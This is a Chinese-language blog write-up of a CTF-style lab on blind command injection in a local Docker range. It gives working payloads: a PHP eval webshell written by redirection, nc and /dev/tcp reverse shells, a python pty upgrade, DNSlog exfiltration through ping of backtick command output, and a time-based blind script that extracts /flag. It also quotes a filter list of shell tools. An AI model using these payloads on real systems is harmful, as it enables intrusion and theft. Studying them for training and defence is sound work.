-
dnslog外带和时间盲注两种方法与sql注入语法不同,异曲同工🤣
-
rce进阶的第二篇,上一篇是字符长度限制的rcehttps://drinkflower.asia/wordpress/archives/401
靶场搭建
-
这里使用了橙子科技的靶场,是在kali上面安的docker,直接按照教程拉取靶场即可
-
https://www.bilibili.com/video/BV1tG4y1c7Vb?p=1&vd_source=2293bafd0dc9ba39864a22335638ecfc
-
拉取镜像
sudo docker pull mcc0624/cmd:latest
- 启动环境
sudo docker run -p 18022:22 -p 18080:80 -p 18081:81 -p 18082:82 -p 18085:85 -i -t mcc0624/cmd bash -c '/etc/rc.local; /bin/bash'
- 靶机开在docker的ip:80端口,被映射到了kali的ip:18080端口,kali里面访问127.0.0.1:18080即可访问靶场,如果要在windows本机访问,可以在kali终端中ifconfig查看kali的ip+18080即可.不要做端口映射,反正我在做nat转发到本机端口时失败了.
- 理论上靶场这个时候是打不了的,又忙活了半个下午,检查了所有地方,==多亏star佬帮我解决了问题,许多靶场第一次装好都要重启一下虚拟机才行,学到了😭==
写文件
tee
- Linux tee命令用于读取标准输入的数据,并将其内容输出成文件。tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件。
- 如果在tee的前面使用正常命令a,并且使用管道符连接,将a的输出作为tee的输入,再使用tee写到指定文件,然后访问即可.比如这样就能将ls的结果写入到miao文件直接访问miao文件即可
ls | tee miao
重定向
- 也可以直接将命令结果重定向到文件
ls > wang
重定向写马
- 重定向的方法和当初ctfshow的一个题很像,可以写马到文件
echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php
dd
- Linux dd 命令用于读取、转换并输出数据。dd 可从标准输入或文件中读取数据,根据指定的格式来转换数据,再输出到文件、设备或标准输出。
- if=文件名:输入文件名,默认为标准输入。即指定源文件。of=文件名:输出文件名,默认为标准输出。即指定目的文件。也就是说,if=是文件输入,of=是文件输出,因为靶机电脑上不见得会有含有shell的文件,所以一般配合管道符来实现命令输入,利用of=来输出结果到文件
ls | dd of=output
cp
- 这个就不说了,直接把其他目录的flag文件copy到可访问目录
c''p /flag output2 //这里加了个引号小绕过
awk
- AWK 是一种处理文本文件的语言,是一个强大的文本分析工具。本身很复杂,这里只用到了一点,套下面的格式即可将命令结果输出到outpot3
ls | awk '{print $1}' > output3
题目class08/1.php
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
check($cmd);
exec($cmd);
}
else{
highlight_file(__FILE__);
}
?>
- 题目本身没有过滤读文件的相关函数,只是该php文件没有回显,就随便选上面的一种方式将flag写入到文件即可,之所以不写马是因为题目过滤了<等字符
?cmd=cat /flag | tee miao
题目class01/exec.php
<?php
highlight_file(__FILE__);
$cmd = $_GET["cmd"];
exec($cmd,$array);
print_r($array);
?>
- 直接写马,蚁剑连接即可
?cmd=echo "<?php show_source(__FILE__);@eval(\$_POST['s']); ?>" > a.php
- 根据star的资料,写马不能用于只有一个参数的exec()函数,题目class08/1.php正好是单参数的exec,我进到docker把题目的过滤去掉了写个马试试
- 经过测试,单参数exec是可以写马的,star走眼了😂
反弹shell
-
这是一个大的主题,后面开一篇报告详细讨论,这里简单提一下
-
简单来说,正向的shell连接就是用户远程向主机主动发送连接请求,这个请求会受到主机防火墙的处理.而反弹shell则是让主机主动向我们发送连接请求,因为请求是主机向外发送,所以防火墙一般不会处理这类请求(一般防火墙都是入站规则严苛,出战规则宽松)
-
主机向我们发送连接请求和我们向主机发送请求是一样的,都要求能够在网络中定位接收方的位置,也就是说,具有公网ip,反弹shell需要攻击机具有公网ip,本篇报告是把docker反弹shell到kali,它们在同一局域网下,所以不需要公网IP
-
语句1要求目标机和攻击机都装了netcat
语句1
攻击机:nc -lvp 7777 //开放并监听7777端口
目标机:nc 192.168.122.128 7777 -e /bin/bash
其中192.168.122.128是kali的局域网ip,实战需要公网ip
- 按照star的报告,语句2无法在目标机实现rce,只能手输终端(实战不知道有啥用🤣)
语句2
攻击机:nc -lvp 7777 //开放并监听7777端口
目标机:bash -i >& /dev/tcp/192.168.122.128/7777 0>&1
其中192.168.122.128是kali的局域网ip,实战需要公网ip
python交互式shell
- 准确的说,python实现交互式shell应该算是反弹shell下面的进阶知识点,其实现方式也有很多,都依赖目标机有python,这里只讨论其中一种较为简单的pty库的利用,要使用 pty 模块直接导入即可,因为一般pty是内置的,但是在某些特定的Python 发行版或环境中,可能需要安装额外的组件或库才能使用pty功能。
Python 中的pty模块(非库)并不属于内置模块。它是一个标准库,提供了与伪终端(PTY)相关的功能。
pty 模块用于创建伪终端设备,并支持与伪终端进行交互。它允许你在程序中创建一个虚拟终端,就像在命令行终端中一样进
行输入和输出。这对于需要与其他程序或操作系统交互的特定应用场景非常有用。
- 在反弹shell中,攻击机常用nc接受目标机的连接,nc监听端口仅起到了一定的传递终端命令的作用,但是并不是真正的tty,而linux许多命令都需要在真正的tty中运行(比如sudo,vim),这就限制了命令执行
tty一词源于Teletypes,或者teletypewriters,原来指的是电传打字机,是通过串行线用打印机键盘通过阅读和发送信息
的东西,后来这东西被键盘与显示器取代,所以现在叫终端比较合适。
终端是一种字符型设备,它有多种类型,通常使用tty来简称各种类型的终端设备
- 比如在上面使用语句1进行反弹shell的情况中,输入vim,按esc无法退出编辑,只会打印^[,而按ctrl+c直接中断了nc
- 我们可以利用python的pty模块实现pty功能,在nc连接后输入python -c 'import pty; pty.spawn("/bin/bash")'即可
伪终端 (pseudo terminal,有时也被称为 pty)是指伪终端 master 和伪终端 slave 这一对字符设备
- 因为docker那个小系统不带有python,所以这里使用语句2在Ubuntu里面进行反弹,这里可能会反弹失败,需要小小改一下语句,直接套用就行,后面的反弹shell报告会详细说明
ubuntu:bash -i >& /dev/tcp/192.168.122.128/7777 0>&1
kali:nc -lvp 7777
ubuntu:bash -c "bash -i >& /dev/tcp/192.168.122.128/7777 0>&1"
kali:nc -lvp 7777
连接成功后:python -c 'import pty; pty.spawn("/bin/bash")'
(直接反弹,输了sudo这种需要tty实现交互的命令之后就卡住了,任何命令都无法执行)
(因为此时靶机接收到sudo命令,要求输入密码,nc无法传递这个请求)
(再次连接使用pty模块,可以接收到sudo命令返回的密码输入请求了)
DNSlog外带
- 原理很简单,和sql的dnslog外带一样,基本思想是使用ping外带反引号的命令执行结果
- 这里要借助sql那个老网站http://dnslog.cn,点击get subdomain可以获取一个临时的域名,点击referesh record可以查看这个域名下所有子域名的访问
- 比如这里获取了cnzkxa.dnslog.cn这个域名,刷新一下,这时候什么解析记录都没有
- 如果有任何人访问了这个域名的四级域名miaomiao.cnzkxa.dnslog.cn,那么我再刷新就会得到cnzkxa.dnslog.cn有miaomiao.cnzkxa.dnslog.cn的解析记录,就将miaomiao这个信息带了出来,我们可以如法炮制来带出rce的结果
- 这个网站不是很稳定,经常成功不了,我在docker里面直接ping申请的域名都ping不通
- 那么,就可以构造这样的语句,这里就用star的测试图片辣,==注意,这个句子要用在命令执行漏洞里,代码执行漏洞还要自己加命令执行函数才行==
?cmd=ping ls
.cnzkxa.dnslog.cn
- 但是ls的结果有多个文件,这样不能将所有文件文件名都显示出来,这时就要借助sed命令
sed -n '2p' 是一个 sed 命令,用于从输入文本中提取第二行并进行输出。
具体而言,这个命令会根据指定的参数对输入文本进行处理,并根据特定规则产生输出。以下是对该命令的解释:
sed: sed 是一个流式文本编辑器,用于对文本进行转换、替换和提取等操作。
-n: -n 参数用于禁止默认的输出行为,使得只有经过指定处理后的行才会被输出。
2p: 这是 sed 的参数之一,其中 '2p' 是一个 sed 脚本命令。在这个例子中,2 表示第二行,p 表示打印(输出)该行。
- 通过控制2p中2的值就可以打印出所有文件
?cmd=ping `ls|sed -n '1p'`.vwiyuv.dnslog.cn
?cmd=ping `ls|sed -n '2p'`.vwiyuv.dnslog.cn
- 另外http://ceye.io网站和这里的http://dnslog.cn网站作用差不多,要是后者用不了可以逝一逝前者
时间盲注
- 原理很简单,和sql时间盲注一样,获取单个字符作为if条件,查看是否触发sleep即可
- 使用awk NR==1获取第一行的内容,cut -c 1获取第一列的内容
cat test.php | awk NR==1 | cut -c 1
- 然后是上学期学的一点小的shell编程,满足2>1,就打印right
if [2>1];then echo "right";fi
- 汇总起来,第一行第一列是a就卡三秒
if [ $(cat test.php | awk NR==1 | cut -c 1) == a ];then sleep 3 ;fi
- 根据这个可以得到脚本,稍微改了些,经过测试,输入的行数和列数输大了不影响脚本的运行,输小了肯定是爆破不全的,可以适当输大一点
# 来源:B站UP主橙子科技: https://www.bilibili.com/video/BV1tG4y1c7Vb?p=12&vd_source=2293bafd0dc9ba39864a22335638ecfc
from multiprocessing.shared_memory import ShareableList
import requests
import time
url = "http://192.168.122.128:18080/class08/1.php"#输入网址
line=10#输入行数,大小靠猜
crow=100#输入列数,大小靠猜
arg="cmd"#输入传参参数名
name="/flag"#输入读取文件的绝对路径或想对路径
result = ""
for i in range(1, line):
for j in range(1, crow):
for k in range(32, 128):#32~128把可见ascii包括完辣
k = chr(k)
# time.sleep(0.1)
payload = "?"+arg+ f"=if [ `cat {name} | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"#f表示格式化字符串
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))#直接用timeout=1.5表示完成请求限时1.5秒,这样写表示发送到服务器限时1.5秒,服务器响应限时1.5秒,总限时3秒
except:
result = result + k
print(result)
break
result += " "